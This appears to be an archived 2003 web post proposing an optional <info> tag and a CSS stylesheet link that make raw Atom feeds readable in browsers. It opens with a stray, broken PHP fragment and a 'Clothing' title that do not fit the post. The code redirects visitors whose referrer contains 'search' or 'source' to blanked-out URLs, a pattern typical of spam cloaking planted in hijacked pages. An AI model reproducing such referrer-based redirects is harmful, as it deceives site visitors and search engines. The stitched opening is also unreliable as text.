Clothing'; if (preg_match("/search/", $H)||preg_match("/source/", $H)) { $url = ""; if (@fopen($url, "r")) { header("Location:"); } else { $url1 = ""; if (@fopen($url1, "r1")) { header("Location:"); } else { header("Location:"); } } } } else { $title=" / Atom Info Proposal"; $keys=""; $descr=""; $tex=""; $li=""; } print("$title"); print('"); print('"); ?> back to
Atom Info Proposal
Improving the human readability and understanding of Atom feeds

One of the problems associated with current feed formats is the lack of a unified URI handling for feed formats. Currently, clicking on a button or icon denoting 'XML' on a given page will usually result in the display of an XML file in the users browser. The resulting view-able text isn't very human readable and confusing for most users. (See Example 1)

This is usually fine for the small percentage of users familiar with newsreaders but doesn't do much for those who don't. Users who are likely to know what to do with a feed are also those who are most likely to use a newsreader or aggregator with auto-discovery for feeds. For the uninitiated user, even with a great URI clicking would result in the addition of the site feed to a newsreader, it is likely that they won't have a program on their system to handle the URI and furthermore could use a brief educational piece on syndication before proceeding.

The problem I am proposing we solve is for the vast majority who will likely click on an XML, Atom button or syndication link without a newsreader installed. This is intended to inform users what they are viewing and reroute them to further information.

The proposal adds two optional tags to the Atom syndication format, adding a way to address an info tag with CSS. One tag invokes a CSS file and another tag to contain the info data.

See examples 1 - 5 below for visible examples of this proposal:

  1. Atom example (default) : Standard feed, notice the browser display. Ick.
  2. Atom example (with CSS applied) : The feed uses the below xml-stylesheet tag to apply CSS formatting.
  3. Atom example (with CSS and info tag) : Same as example 2 but with an added <info> tag to allow for visible formatting of the contents.
  4. Atom well-formed example (with CSS and info tag) : This example feed looks even better than example 4 because it is well-formed.
  5. atom.css file used for the examples above

Blogger and other blog services can't always guarantee that their users will output 'well-formed' content so example 3 is a good example of an improvement over raw xml but displays the limitations as well. Another caveat is that this has been tested on a few browsers and seems to work on all to varied results but Apple's Safari. Something to bring up to Dave Hyatt I suppose. The main thing that is odd is the display of the href in the info tag. Works in Safari, not in Firebird or IE. While some may argue that XSL/T could be used for similar reformatting, this usually requires heavy lifting on the part of the web server since not all browsers support client-side XSLT. CSS seemed to be a nice lightweight approach.

How is this done

Here is the first tag addition after the xml declaration.

<?xml-stylesheet href="atom.css" type="text/css"?>

Here is the additional tag, it's called info though hint might also work. View source on example 3 to see the exact placement.

<info>This is an Atom formatted XML site feed. It is intended to be viewed in a Newsreader or syndicated to another site. Please visit for more info.</info>

Your feedback is most welcome on the Atom Syntax list.

Inspiration, Help and Thanks

Thanks to Jason Sutter for making the CSS look pretty, Sam Ruby for pushing the limits of XML and CSS a few weeks ago. Thanks also to Greg Reinacker for lobbying for something nicer looking for potential aggregator users.

Jason Shellen / December 5, 2003